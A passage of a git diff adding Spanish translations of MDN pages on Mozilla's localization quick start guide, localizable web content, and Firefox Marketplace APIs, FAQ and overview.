+<h2 id="Organización_inicial"><strong><span style="background-clip: initial; font-family: arial,sans-serif; font-size: 18pt; line-height: 115%;"><a href="https://developer.mozilla.org/es/docs/Mozilla/Localization/Quick_start_guide/Initial_setup">Organización inicial</a></span></strong></h2>
+Trabajo de preparación técnica antes de localizar.</div>
+
+<div style="width: 25%; background-color: #A2BFF4; float: left; display: block; margin: 1.5%; border: 1px solid #C4C295; text-align: center; padding: 2.5%; padding-top: 0px;">
+<h2 id="sect2"> </h2>
+
+<h2 id="Fase_de_traducción"><strong><span style="font-family: arial,sans-serif; font-size: 18pt; letter-spacing: -0.85pt; line-height: 115%;"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Localization/Quick_start_guide/Translation_phase">Fase de traducción</a></span></strong></h2>
+Tutorial de herramientas l10n para la traducción</div>
+
+<div style="width: 25%; background-color: orange; float: left; display: block; margin: 1.5%; border: 1px solid #C4C295; text-align: center; padding: 2.5%; padding-top: 0px;">
+<h2 id="sect3"> </h2>
+
+<h2 id="Fase_QA"><strong><a href="https://developer.mozilla.org/es/docs/Mozilla/Localization/Quick_start_guide/QA_phase">Fase QA</a></strong></h2>
+
+<p>Tutoriales para comprobar l10n.</p>
+</div>
+
+<div style="width: 92%; background-color: #C0C0C0; float: left; display: block; margin: 1.5%; border: 1px solid #C4C295; text-align: center; padding: 2.5%; padding-top: 0px;">
+<h2 id="sect4"> </h2>
+
+<h2 id="Etapa_de_lanzamiento"><strong style="font-size: 2.14285714285714rem;"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Localization/Quick_start_guide/Release_phase">Etapa de</a></strong><span style="font-size: 2.14285714285714rem;"> </span><strong style="font-size: 2.14285714285714rem;"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Localization/Quick_start_guide/Release_phase">lanzamiento</a></strong></h2>
+
+<p align="center"><span style="line-height: 1.5;">Pasos para enviar tu trabajo de localización</span></p>
+</div>
+
+<div style="background-color: white; border: 3px solid; display: block; padding: 20px; margin-top: 20px;">
+<p> </p>
+
+<p><br>
+ <span style="line-height: 1.5;">Estas cuatro etapas constituyen el lado técnico del programa l10n. Para conocer más sobre alguna de estas, haga clic en cualquiera de los links de arriba. Antes de llegar al cuadro grande (Etapa de lanzamiento), sugerimos que empiece por la fase verde (Organización inicial) y de ahí hacia su derecha.</span></p>
+
+<p> </p>
+</div>
+
+<p class="note"><strong>Nota: </strong>Esta guía está escrita para dos clases de colaboradores: Aquellos que se incorporan en una nueva localización y aquellos que comparten una localización existente. Es importante conocer qué información aplica a cada tipo de colaborador. Para ayudarte a conocer cuál es la información más relevante, presta atención al color de las fuentes utilizadas en el texto. Toda la información proveniente de aquellos que empiezan una nueva localización tendrá como fuente de letra el <span style="color: #daa520;">color naranja</span>, y toda la información proveniente de aquellos que se incorporan con una localización existente tendrá como fuente de letra el <span style="color: #0000ff;">color azul</span>.</p>
+
+<p>{{ Next("Localization_Quick_Start_Guide/Initial_setup") }}</p>
diff --git a/files/es/mozilla/localization/quick_start_guide/initial_setup/index.html b/files/es/mozilla/localization/quick_start_guide/initial_setup/index.html
new file mode 100644
index 0000000000..3f8a4874a7
--- /dev/null
+++ b/files/es/mozilla/localization/quick_start_guide/initial_setup/index.html
@@ -0,0 +1,99 @@
+---
+title: Configuración inicial
+slug: Mozilla/Localization/Quick_start_guide/Initial_setup
+tags:
+  - Localización
+translation_of: Mozilla/Localization/Quick_start_guide/Initial_setup
+---
+<p>Como pre-requisito para contribuir al programa de L10n, necesitas tener acceso a códigos, herramientas y un entorno local apropiadamente configurado (es decir, tu computadora personal). También necesitas determinar si ya existe en tu zona otro proyecto de localización. Aquí abordaremos temas relacionados con las cuentas necesarias, así como las herramientas y las respectivas configuraciones que necesitas montar antes de contribuir.</p>
+
+<h3 id="Nuevo_o_existente">Nuevo o existente</h3>
+
+<p>Antes que nada, necesitas saber si crearás una nueva localización o si te unirás a una existente. Esto determinará qué información es más relevante para ti a lo largo de esta guía.</p>
+
+<p>Esto es lo que tendrás que hacer:</p>
+
+<p>Revisa el siguiente enlace para ver si ya existe una localización en tu zona: <a href="https://wiki.mozilla.org/L10n:Teams">Directorio de la comunidad de localizacion</a>.</p>
+
+<p>   a.    <span style="color: #0000cd;">Si la comunidad ya existe, contáctalos y pregúntales cómo puedes ayudar.</span></p>
+
+<p>   b.   <span style="color: #ff8c00;">Si la comunidad no existe, envía un correo-e al <a href="https://groups.google.com/forum/?fromgroups#!forum/mozilla.dev.l10n.new-locales" title="https://groups.google.com/forum/?fromgroups#!forum/mozilla.dev.l10n.new-locales">new-locales newsgroup</a> para recibir información adicional.</span></p>
+
+<h3 id="Cuentas">Cuentas</h3>
+
+<p>Hay un puñado de cuentas que necesitas tener en mente mientras empiezas. Estas no son necesarias para empezar a contribuir, pero las necesitarás cuando te estés preparando para producir un lanzamiento oficial. Por ahora, solamente ten en cuenta que estas serán importantes cuando tus esfuerzos progresen. Estas cuentas almacenarán tus códigos, contribuciones y te ayudarán a producir una localización oficial.</p>
+
+<p style="margin-left: 33.5pt;"><strong>Hg (Mercurial)</strong></p>
+
+<p style="margin-left: 33.5pt;"><span style="line-height: 1.5;">Mercurial es el entorno de control de revisión que aloja el principal código fuente de Mozilla, así como el código localizado para cada localización oficial de Mozilla. Necesitarás esto para localizar las aplicaciones de Mozilla. El acceso de confirmación a Hg </span><u>no</u><span style="line-height: 1.5;"> es necesario para empezar a localizar. Después de tener un poco de experiencia con Hg, es posible que quieras tener el acceso de confirmación. En ese punto, tienes que visitar la página </span><a href="http://www.mozilla.org/hacking/committer/">Mozilla Commiter</a><span style="line-height: 1.5;"> y seguir el proceso descrito allí. </span><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=741305" style="line-height: 1.5;">Aquí hay un ejemplo de fallo</a><span style="line-height: 1.5;"> que ilustra bien el proceso. Usa esta </span><a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=mozilla.org&amp;component=Repository%20Account%20Requests&amp;rep_platform=All&amp;op_sys=All&amp;cc=l10n%40mozilla.com&amp;short_desc=l10n%20hg%20account%20for%20John%20Doe%20(ab-CD)" style="line-height: 1.5;">plantilla de fallo</a><span style="line-height: 1.5;"> cuando se presente un</span><span style="line-height: 1.5;"> fallo de registro en tu cuenta de Hg. Envía a </span><a href="http://groups.google.com/group/mozilla.dev.l10n.new-locales/topics" style="line-height: 1.5;" title="http://groups.google.com/group/mozilla.dev.l10n.new-locales/topics">new locales newsgroup</a><span style="line-height: 1.5;"> una solicitud sobre crear tu repositorio de la zona.</span></p>
+
+<p style="margin-left: 36.0pt;"><strong style="line-height: 1.5;">SVN</strong></p>
+
+<p style="margin-left: 36.0pt;">SVN es un entorno de control de revisión que Mozilla utiliza para alojar las páginas web de la fuente de Mozilla y sus ubicaciones para cada localización oficial de Mozilla. Observa esta página <a href="https://wiki.mozilla.org/SVN#SVN_account_for_localizers">wiki</a> referida a cómo tener acceso a la SVN. La <a href="https://developer.mozilla.org/en-US/docs/SVN_guide_for_localizers">guía</a> <a href="https://developer.mozilla.org/en-US/docs/SVN_guide_for_localizers">de localizadores para SVN</a>, te ayudará a aprender los comandos de SVN más importantes para l10n. Envía a <a href="http://groups.google.com/group/mozilla.dev.l10n.new-locales/topics" title="http://groups.google.com/group/mozilla.dev.l10n.new-locales/topics">new locales newsgroup</a> una solicitud sobre crear tu repositorio de la zona.</p>
+
+<p style="margin-left: 33.5pt;"><strong style="line-height: 1.5;">Herramientas l10n basadas en la web</strong></p>
+
+<p style="margin-left: 33.5pt;"> Hablaremos sobre esto más adelante. Por ahora, solo ten en cuenta que si decides usarlos, tal vez necesites crearte una cuenta personal.</p>
+
+<p style="margin-left: 33.5pt;"><strong style="line-height: 1.5;">Mozilla LDAP</strong></p>
+
+<p style="margin-left: 36.0pt;">Una vez que estés preparado para tener tu localización registrada en los repositorios principales de Mozilla, necesitarás una cuenta Mozilla LDAP. Envía a <a href="http://groups.google.com/group/mozilla.dev.l10n.new-locales/topics" title="http://groups.google.com/group/mozilla.dev.l10n.new-locales/topics">new locales newsgroup</a> una solicitud sobre crear tu cuenta LDAP.</p>
+
+<p style="margin-left: 36.0pt;"><strong style="line-height: 1.5;">Componente Bugzilla de una zona especifica</strong><br>
+ Tener un componente Bugzilla específico para tu zona nos ayudará a seguir tu progreso en la localización desde los primeros pasos hasta su lanzamiento oficial. Además, nos notificará cuando estés teniendo problemas únicos de tus trabajos de equipo de localización. Envía a <a href="http://groups.google.com/group/mozilla.dev.l10n.new-locales/topics" title="http://groups.google.com/group/mozilla.dev.l10n.new-locales/topics">new locales newsgroup</a> una solicitud sobre crear tu componente Bugzilla de la zona.</p>
+
+<h3 id="Herramientas_de_entorno_local">Herramientas de entorno local</h3>
+
+<p><span style="line-height: 1.5;">Al igual que las cuentas, hay algunas herramientas de entorno que deberías instalar en tu computadora. Estas herramientas te ayudarán a almacenar tus contribuciones, aplicaciones de Mozilla, paquetes de lenguaje y a probar tu trabajo.</span></p>
+
+<p style="margin-left: 35.45pt;"><strong>Hg (Mercurial)</strong></p>
+
+<p style="margin-left: 35.45pt;">Como notaste arriba, nosotros usamos Mercurial para mantener el código fuente de Mozilla y el código localizado. No solo necesitarás un repositorio de localización para almacenar tus localizaciones, sino también que lo tendrás que tener instalado y configurado en tu computadora. Puedes encontrar todo lo que necesites saber sobre instalar y configurar Mercurial para tu localización <a href="https://developer.mozilla.org/en/Localizing_with_Mercurial#Install_Mercurial">Aquí</a>.</p>
+
+<p style="margin-left: 33.5pt;"><strong style="line-height: 1.5;">compare-locales</strong></p>
+
+<p style="margin-left: 36.0pt;">compare-locales es un script de Python que te ayuda a probar tu trabajo sin necesidad de ejecutar Firefox u otra aplicación. Las instrucciones de instalación se encuentran <a href="https://developer.mozilla.org/en/Compare-locales">Aquí</a>.</p>
+
+<p style="margin-left: 36.0pt;"><strong style="line-height: 1.5;">L10n checks</strong></p>
+
+<p style="margin-left: 36.0pt;"><span style="line-height: 1.5;">L10n checks es otro script de Python que te ayuda a probar tu trabajo sin necesidad de ejecutar una aplicación. Las instrucciones de instalación las puedes encontrar </span><a href="https://developer.mozilla.org/en/L10n_Checks" style="line-height: 1.5;">Aquí</a><span style="line-height: 1.5;">.</span></p>
+
+<p><strong style="line-height: 1.5;">           autoconf 2.13 </strong></p>
+
+<p style="margin-left: 36.0pt;">autoconf es una utilidad fundamental para crear aplicaciones de Mozilla y paquetes de lenguaje. Para estos, usamos la versión 2.13 o una mayor. Puedes encontrar los archivos fuente y las instrucciones de instalación <a href="http://www.gnu.org/software/autoconf/">Aquí</a>.</p>
+
+<p style="margin-left: 36.0pt;"><strong style="line-height: 1.5;">wget</strong></p>
+
+<p style="margin-left: 36.0pt;">wget es una utilidad de línea de comando que te permite recuperar archives usando protocolos de internet. Nosotros lo usamos para recuperar los datos de los repositorios. Puedes encontrar los archives fuente e instrucciones de instalación <a href="http://www.gnu.org/s/wget/">Aquí</a>.</p>
+
+<p style="margin-left: 36.0pt;"><strong style="line-height: 1.5;">Perl</strong></p>
+
+<p style="margin-left: 36.0pt;">Perl es un lenguaje de programación que te ayudará a crear paquetes de lenguaje y aplicaciones de Mozilla. Puedes encontrar los archivos fuente y las instrucciones de instalación <a href="http://www.perl.org/">Aquí</a>.</p>
+
+<p style="margin-left: 36.0pt;"><strong style="line-height: 1.5;">Python</strong></p>
+
+<p style="margin-left: 36.0pt;">Python es un lenguaje de programación en el cual muchos de nuestros script de pruebas l10n son escritos. Puedes encontrar los archivos fuente y las instrucciones de instalación <a href="http://python.org/">Aquí</a>.</p>
+
+<p style="margin-left: 36.0pt;"><strong style="line-height: 1.5;">Locale Switcher o Quick Locale Switcher</strong></p>
+
+<p style="margin-left: 36.0pt;">Ambos, tanto Locale Switcher como Quick Locale Switcher son add-ons para las aplicaciones de Mozilla. Cada uno es necesario para permitirte a ti ver tu trabajo dentro de la aplicación de Mozilla. Puedes instalar estos add-ons buscándolos en el administrador de add-ons de Firefox o siguiendo estos links: <a href="https://addons.mozilla.org/en-US/firefox/addon/locale-switcher/">Locale Switcher</a>, <a href="https://addons.mozilla.org/en-US/firefox/addon/quick-locale-switcher/">Quick Locale Switcher</a>.</p>
+
+<p style="margin-left: 36.0pt;"><strong style="line-height: 1.5;">Un sólido editor de texto basado en unicode</strong></p>
+
+<p style="margin-left: 36.0pt;">Aquí hay algunas sugerencias:</p>
+
+<p style="margin-left: 69.5pt;">·         Windows: <a href="http://notepad-plus.sourceforge.net/uk/site.htm" title="http://notepad-plus.sourceforge.net/uk/site.htm">Notepad++</a> o <a href="http://www.flos-freeware.ch/notepad2.html" title="http://www.flos-freeware.ch/notepad2.html">Notepad2</a></p>
+
+<p style="margin-left: 69.5pt;">·         GNU/Linux: <a href="http://en.wikipedia.org/wiki/Vim_%28text_editor%29" title="http://en.wikipedia.org/wiki/Vim_(text_editor)">vim</a>, <a href="http://projects.gnome.org/gedit/" title="http://projects.gnome.org/gedit/">gedit</a> o <a href="http://www.kate-editor.org/kate" title="http://www.kate-editor.org/kate">Kate</a></p>
+
+<p style="margin-left: 69.5pt;">·         Mac OS X: <a href="http://www.barebones.com/products/TextWrangler/" title="http://www.barebones.com/products/TextWrangler/">TextWrangler</a>                                                          </p>
+
+<p><strong>            GNU make</strong></p>
+
+<p style="margin-left: 36.0pt;">Make es una herramienta que controla la generación de ejecutables. Puedes encontrar la versión 3.79.1 o una mayor <a href="http://www.gnu.org/software/make/" title="http://www.gnu.org/software/make/">aquí</a>. Desafortunadamente, otras variedades de Make no lo harán.</p>
+
+<h2 id="Fin_de_la_organización_inicial"><strong>Fin de la organización inicial</strong></h2>
+
+<p>Ahora que has finalizado tu organización inicial, es momento de la mejor parte: ¡Traducir!</p>
+
+<p>{{ PreviousNext("Localization_Quick_Start_Guide", "Localization_Quick_Start_Guide/Translation_phase") }}</p>
diff --git a/files/es/mozilla/localization/web_localizability/creating_localizable_web_content/index.html b/files/es/mozilla/localization/web_localizability/creating_localizable_web_content/index.html
new file mode 100644
index 0000000000..0b0c7402a8
--- /dev/null
+++ b/files/es/mozilla/localization/web_localizability/creating_localizable_web_content/index.html
@@ -0,0 +1,58 @@
+---
+title: Creating localizable web content
+slug: Mozilla/Localization/Web_Localizability/Creating_localizable_web_content
+tags:
+  - Desarrollo web
+  - Internacionalizacón
+  - Localizabilidad
+  - Localización
+translation_of: Mozilla/Localization/Web_Localizability/Creating_localizable_web_content
+---
+<h3 id="Contenido_del_texto">Contenido del texto</h3>
+
+<ul>
+ <li>Revise que el texto es objetivamente correcto para una audiencia internacional (es decir, menciones a productos específicos de Estados Unidos como motores de búsqueda o diccionarios deberían ser adaptados).</li>
+ <li>Busque cadenas que sean difíciles de traducir debido a que sea confusa, use juegos de palabras o use colonialismos. Dependiendo del contexto, encontrar una cadena alternativa o documente una explicación de la cadena para los localizadores.</li>
+ <li>Compruebe que en páginas nuevas no se enlaza a subpáginas con anclas. Es decir: una página nueva es anunciada con solo 100 palabras pero realmente es contenido adicional de una página existente en inglés. Sucede en cosas como la sección de preguntas frecuentes (FAQs) o páginas de video, por ejemplo. Para vídeo, utilice el código para mostrar el vídeo en un reproductor de vídeo superpuesto en la página en lugar de enlazar con una sección de vídeo en inglés.</li>
+</ul>
+
+<h3 id="Customizaciones_por_local">Customizaciones por local</h3>
+
+<ul>
+ <li>Compruebe si hay enlaces alternativos para páginas localizadas (por ejemplo, enlaces a MDN, <a href="https://addons.mozilla.org">Addons.mozilla.org</a>, u otros recursos externos,  si existen equivalentes traducidos que podamos utilizar). Si hay alternativas, utilicelas añadiendo el parametro $lang; en las urls</li>
+ <li>Evalue el impacto de las nuevas páginas en todas nuestras propiedades web, especialmente enlaces a sitios de la comunidad y redirecciones. En ocasiones se puede dejar cierta libertad de modificación a un bloque de texto para que los localizadores enlacen a recursos locales relevantes.</li>
+</ul>
+
+<h3 id="Imágenes">Imágenes</h3>
+
+<ul>
+ <li>Revise que las imágenes no vayan a ser un problema para la audiencia (referencias culturales, posicionamiento, reflejar para rtl, texto en imágenes,...) e identifiqué que tamaños y margenes pueden ser ajustados con CSS o se tienen que arreglar para todos los locales excepto Inglés</li>
+ <li>
+  <p>No use texto en íconos</p>
+
+  <p><strong>Imágenes 1&amp;2. Mal:</strong> <img alt="do-64.png" class="default internal" src="/@api/deki/files/3802/=do-64.png"><img alt="donot-64.png" class="default internal" src="/@api/deki/files/3803/=donot-64.png"></p>
+
+  <p><strong>Imagen 3. Bien:</strong> <img alt="error-64.png" class="default internal" src="/@api/deki/files/3804/=error-64.png"></p>
+
+  <p><strong>Imagen 4. Bien:</strong> <img alt="information-64.png" class="default internal" src="/@api/deki/files/3805/=information-64.png"></p>
+
+  <p>Este icono es reconocido como el símbolo internacional para información. Puede quedarse así.</p>
+ </li>
+ <li>
+  <p>Use capturas de pantalla localizadas si es posible</p>
+
+  <p>Capturas de pantalla son gráficos informativos importantes, a menudo explicando como lograr algo en una aplicación de escritorio o Web. Como tal, deben ser percibidas como una parte esencial del contenido y deben ser localizado.</p>
+
+  <p><strong>Imagen 1. Mal.</strong></p>
+
+  <p><img alt="tut_custom_1.jpg" class="default internal" src="/@api/deki/files/3812/=tut_custom_1.jpg"></p>
+
+  <p>Si la captura de pantalla muestra la aplicación con la que el sitio web se relaciona directamente (Firefox en mozilla.com/firefox), intente usar capturas de pantalla de la versión localizada.</p>
+
+  <p><strong>Image 2. Aceptable.</strong></p>
+
+  <p><img alt="tut_PSpalette.jpg" class="default internal" src="/@api/deki/files/3814/=tut_PSpalette.jpg"></p>
+
+  <p>Sin embargo, si la captura de pantalla muestra una aplicación o sitio web de terceros, es aceptable utilizar la versión inglés si no hay una versión con el idioma a localizar disponible.</p>
+ </li>
+</ul>
diff --git a/files/es/mozilla/marketplace/apis/index.html b/files/es/mozilla/marketplace/apis/index.html
new file mode 100644
index 0000000000..4736fa334f
--- /dev/null
+++ b/files/es/mozilla/marketplace/apis/index.html
@@ -0,0 +1,42 @@
+---
+title: Bibliotecas de utilidad y APIs
+slug: Mozilla/Marketplace/APIs
+tags:
+  - Apps
+  - Firefox OS
+  - Guía
+  - Marketplace
+  - Principiante
+translation_of: Archive/Mozilla/Marketplace/APIs
+---
+<div class="summary">
+<p class="summary">Cuando se trata de la codificación de funcionalidad para Firefox Marketplace en tus aplicaciones y páginas web, tendrás que usar las bibliotecas de utilidad del Marketplace, APIs de la web y APIs del Marketplace. Esta página presenta estas dos opciones, describe cuando las puedes usar y ofrece enlaces para obtener más información acerca de ellas.</p>
+</div>
+
+<h2 id="Bibliotecas_de_utilidad_del_Marketplace">Bibliotecas de utilidad del Marketplace</h2>
+
+<p>Las bibliotecas de utilidad del Marketplace están diseñadas para facilitar tus necesidades diarias de codificación protegiéndote de las complejidades de la APIs de la web y el Marketplace. Actualmente solo existe una biblioteca, pero otras estarán disponibles a medida que las propiedades del Marketplace se expandan.</p>
+
+<ul>
+ <li><code><a href="https://github.com/mozilla/receiptverifier">receiptverifier</a></code> — esta biblioteca es usada para verificar recibos de pagos. Su uso se describe en el siguiente enlace <a href="/en-US/Marketplace/Monetization/Validating_a_receipt">Validar recibos de pagos</a>.</li>
+</ul>
+
+<h2 id="APIs_de_la_web">APIs de la web</h2>
+
+<p>Tus aplicaciones del Marketplace necesitarán usar APIs de la web para ciertas funciones:</p>
+
+<ul>
+ <li><code><a href="https://developer.mozilla.org/en-US/docs/Web/API/window.navigator.mozPay">navigator.mozPay</a></code> y la relacionada <a class="external external-icon" href="https://wiki.mozilla.org/WebAPI/WebPaymentProvider"> Proveedor de pagos web.</a> Esta API y su proveedor son usados para el manejo de pagos dentro de las aplicaciones. Su uso se describe en <a href="/en-US/Marketplace/Monetization/In-app_payments">Pagos dentro de las aplicaciones</a>.</li>
+</ul>
+
+<h2 id="APIs_del_Marketplace">APIs del Marketplace</h2>
+
+<p>Para los requisitos más comunes de codificación de aplicaciones no deberías necesitar de las APIs del Marketplace. Algunas actividades, como <a href="/en-US/Marketplace/Options/Creating_a_store">crear tu propia tienda</a>, si necesitan de su uso; pero donde tus requerimientos sean soportados, una biblioteca de utilidad del Marketplace probablemente sea mejor opción.</p>
+
+<p>La documentación para las APIs del Marketplace se encuentra en readthedocs.org <a href="http://firefox-marketplace-api.readthedocs.org/en/latest/topics/overview.html">aquí</a>. Si necesitas de información mas detalla sobre estas APIs, por favor únete a la lista de correos de <a href="https://lists.mozilla.org/listinfo/dev-marketplace">dev-marketplace</a></p>
+
+<div class="note">
+<p>La documentación de las APIs del Marketplace es usada para identificar las APIs del Marketplace que están en desarrollo. Por lo tanto, puede que incluya detalles de APIs que no están disponibles para el Marketplace público.</p>
+</div>
+
+<p> </p>
diff --git a/files/es/mozilla/marketplace/faq/index.html b/files/es/mozilla/marketplace/faq/index.html
new file mode 100644
index 0000000000..fa4c4a91cc
--- /dev/null
+++ b/files/es/mozilla/marketplace/faq/index.html
@@ -0,0 +1,30 @@
+---
+title: Preguntas frecuentes del Marketplace de Firefox OS
+slug: Mozilla/Marketplace/FAQ
+translation_of: Archive/Mozilla/Marketplace/FAQ
+---
+<dl>
+  <dt>
+    ¿Cómo puedo enviar una nueva aplicación?</dt>
+  <dd>
+    Ver <a href="/es/docs/Aplicaciones/Enviar_una_aplicacion">Enviar una aplicación</a>.</dd>
+
+  <dt>
+    ¿Cuál es el proceso de aprobación?</dt>
+  <dd>
+    Para el Developer Preview, todas las aplicaciones con un manifiesto válido son aprobadas automáticamente.</dd>
+  <dt>
+    ¿Necesitan mis aplicaciones cumplir con una política de contenido?</dt>
+  <dd>
+    Las restricciones de conenido primarias del Marketplace de Firefox OS están para prevenir la actividad maliciosa o ilegal. La política será similar a la <a class="link-https" href="https://addons.mozilla.org/es/developers/docs/policies/reviews#section-prohibited">política de contenido para complementos de Firefox</a>. Las políticas serán finalizadas antes de llegar al lanzamiento de la beta del Marketplace.</dd>
+  <dt>
+    ¿Cómo venderá mi aplicación el Marketplace de Firefox OS?</dt>
+  <dd>
+    <div class="note">
+      <strong>Nota:</strong> Las aplicaciones pagas y los pagos dentro de las aplicaciones están actualmente deshabilitados en el Marketplace de Firefox OS (agosto de<time datetime="2012-08"> 2012</time>). Se espera que estén disponibles nuevamente en un futuro cercano.</div>
+  </dd>
+  <dt>
+    ¿Quién aloja la aplicación?</dt>
+  <dd>
+    Usted aloja todos los archivos de su aplicación en su propio servidor. Cuando envía una aplicación al Marketplace de Firefox OS, usted provee la URL del archivo de manifiesto de su aplicación, que el Marketplace lee y verifica. Puede subir íconos, capturas de pantalla, etc. para promover la aplicación en el Marketplace de Firefox OS.</dd>
+</dl>
diff --git a/files/es/mozilla/marketplace/index.html b/files/es/mozilla/marketplace/index.html
new file mode 100644
index 0000000000..1bb3d078b0
--- /dev/null
+++ b/files/es/mozilla/marketplace/index.html
@@ -0,0 +1,114 @@
+---
+title: Firefox Marketplace
+slug: Mozilla/Marketplace
+tags:
+  - Apps
+  - B2G
+  - Firefox OS
+  - Marketplace
+  - Mobile
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Mozilla/Marketplace
+---
+<div class="summary">
+<p>El Firefox Marketplace es una tienda online, abierta y no-propietaria para aplicaciones web. En esta zona encontrarás toda la información necesaria para crear y publicar aplicaciones web en el Firefox Marketplace. Encuentra información acerca de cómo hacer aplicaciones exitosas, opciones de entrega, monetización, publicación y actualización de aplicaciones, y las librerías y APIs necesarias para aprovechar todas las características del Marketplace.</p>
+</div>
+
+<div class="column-container">
+<p><span class="seoSummary"><span class="short_text" id="result_box" lang="es"><span class="hps">Mozilla</span> <span class="hps">está trayendo</span> <span class="hps">sus valores fundamentales</span></span> — <span class="short_text" id="result_box" lang="es"><span class="hps">la apertura, la</span> <span class="hps">libertad,</span> <span class="hps">la elección del usuario</span></span> — al mundo de las apps.</span></p>
+
+<p><span class="seoSummary">Usando tecnología estándar web, lenguajes y herramientas del <a href="https://marketplace.firefox.com">Firefox Marketplace</a> puedes publicar <a href="/en-US/Apps">Open Web Apps</a> (Aplicaciones de Web Abierta), de manera gratuita o de pago. Estas aplicaciones pueden ser empaquetadas, ejecutadas dentro de Firefox, o almacenadas en tu propio servidor web. Las aplicaciones publicadas están disponibles para los usuarios de Firefox en computadoras, dispositivos Android y teléfonos con sistema operativo Firefox donde sea que estén en el globo. Los usuarios descubren tus aplicaciones con facilidad en el Marketplace de Firefox usando la sección de aplicaciones destacadas, las diferentes categorías de aplicaciones y un poderoso motor de búsqueda. Los usuarios pueden acceder de manera instantánea a aplicaciones gratis, o comprar aplicaciones de pago mediante tarjeta de crédito o facturación por operadora. </span></p>
+</div>
+
+<div class="row topicpage-table">
+<div class="section">
+<h2 class="Community" id="Community" name="Community">Publicación de tu app</h2>
+
+<dl>
+ <dt><a href="/en-US/Marketplace/Publish">Publicando en el Firefox Marketplace</a></dt>
+ <dd>
+ <div class="almost_half_cell" id="gt-res-content">
+ <div dir="ltr" style="zoom: 1;"><span id="result_box" lang="es"><span class="hps">Documentos</span> <span class="hps">particulares</span> <span class="hps">para</span> <span class="hps">publicar</span> <span class="hps">una aplicación en</span> <span class="hps">el</span> <span class="hps">Firefox </span></span><span id="result_box" lang="es">Marketplace</span><span id="result_box" lang="es"><span>.</span></span></div>
+ </div>
+ </dd>
+ <dt><a href="/en-US/Marketplace/Publish_options">Opciones de publicación de tu app</a></dt>
+ <dd>Una vez que hayas construido una Open Web App (Aplicación Web Abierta), hay difererentes opciones disponibles para publicar y que tu app salga al mundo. En este artículo se explica lo que está disponible.</dd>
+ <dt><a href="/en-US/Apps/Publishing/General_app_publishing_topics">Temas generales para la publicación de Aplicaciones</a></dt>
+ <dd>
+ <p>Información general y tips útiles para la publicación de aplicaciones de web abierta.</p>
+ </dd>
+ <dt><a href="/en-US/Marketplace/Marketplace_APIs">APIs del Firefox Marketplace</a></dt>
+ <dd>Enlace a la principal referencia de guías que cubren las APIs del Firefox Marketplace, las cuales puedes usar para configurar los métodos de pago de una aplicación, automatizar la presentación de aplicaciones, y mucho más.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Community" id="Community" name="Community">Monetización</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Marketplace/Monetization">Haciendo dinero con tu app</a></dt>
+ <dd>Has trabajado muy duro haciendo funcionar el código de tu última app pero, ¿cómo puedes obtener algo a cambio cuando la publicas?. Esta sección avanza a través de toda la información que necesitarás para implementar los pagos en tu aplicación, ya sean pagos en el Marketplace o dentro de tu aplicación.</dd>
+</dl>
+
+<h2 class="Tools" id="Tools" name="Tools">Herramientas para desarrolladores de apps</h2>
+
+<ul>
+ <li><a href="/en-US/Apps/App_developer_tools">Simulador de Firefox OS </a></li>
+ <li><a href="/en-US/Apps/App_developer_tools">Herramientas de desarrollo de Aplicaciones</a></li>
+</ul>
+
+<h2 id="Creando_tu_propia_tienda">Creando tu propia tienda</h2>
+
+<dl>
+ <dt><a href="/en-US/Marketplace/Creating_a_store">Creando una tienda</a></dt>
+ <dd>No es necesario que utilices el Marketplace de Firefox para lanzar o distribuir tu aplicación.</dd>
+</dl>
+</div>
+</div>
+
+<h2 id="Subnav">Subnav</h2>
+
+<ol>
+ <li><a href="/es/Marketplace/Submission">Presentación y revisión de la aplicación</a>
+
+  <ol>
+   <li><a href="/es/Marketplace/Submission/Submitting_an_app" title="This step-by-step guide will help you successfully submit your app to the Firefox Marketplace.">Enviar una aplicación al Firefox Marketplace</a></li>
+   <li><a href="/es/Marketplace/Submission/Rating_Your_Content">Obtener una clasificación para tu aplicación</a></li>
+   <li><a href="/es/Marketplace/Submission/Marketplace_review_criteria" title="An explanation of the criteria an app must meet in order to be published on the Firefox Marketplace">Criterios de revisión de Marketplace</a></li>
+   <li><a href="/es/Marketplace/Publishing/Marketplace_screenshot_criteria" title="Some guidelines on how to create an effective screenshot for marketplace submission">Captura de pantalla para la revisión de la aplicación en Marketplace</a></li>
+   <li><a href="/es/Marketplace/Publishing/Privacy_policies" title="Your users' privacy is very important, so you need to develop and adhere to a reasonable privacy policy to engender their trust. This article provides a guide to developing privacy policies.">Política de privacidad</a></li>
+   <li><a href="/es/Marketplace/Submission/Testing_and_troubleshooting">Pruebas de aplicación y resolución de problemas</a></li>
+  </ol>
+ </li>
+ <li><a href="/es/Marketplace/Publishing">Publicación de aplicaciones</a>
+  <ol>
+   <li><a href="/es/Marketplace/Publishing/Publish_options" title="If you don't want to go the Firefox Marketplace route, here is some useful information on self-publishing apps.">Opciones para la publicación</a></li>
+   <li><a href="/es/Marketplace/Publishing/Packaged_apps" title="A detailed description of packaged apps, what the different types entail, and what they are used for in the context of the Firefox Marketplace, and self-published apps.">Aplicaciones empaquetadas</a></li>
+   <li><a href="/es/Marketplace/Publishing/Updating_apps" title="Information about how both hosted and packaged app updates are handled, and what you need to do to ensure that your app properly supports updating.">Actualización de aplicaciones</a></li>
+   <li><a href="/es/Marketplace/Publishing/Open_web_apps_for_android">Aplicaciones Web Abiertas para Android</a></li>
+   <li><a href="/es/Marketplace/Publishing/Open_web_apps_for_desktop">Aplicaciones Web Abiertas para Escritorio</a></li>
+   <li><a href="/es/Marketplace/Publishing/Adding_a_subdomain" title="For security reasons, each app must have its own domain (or subdomain) on the Web. This article covers how to go about creating a subdomain for your app.">Añadiendo un subdominio para la aplicación</a></li>
+   <li><a href="/es/Marketplace/Publishing/Creating_a_store" title="Information that may be helpful to you if you want to build your own store for selling and distributing Open Web Apps.">Creación de una tienda</a></li>
+  </ol>
+ </li>
+ <li><a href="/es/Marketplace/Monetization">Monetización</a>
+  <ol>
+   <li><a href="/es/Marketplace/Monetization/Profiting_from_your_app" title="This guide contains introductory materials on how to monetize your apps, including tools needed, and a monetization calculator.">Sacando beneficio de tu aplicación</a></li>
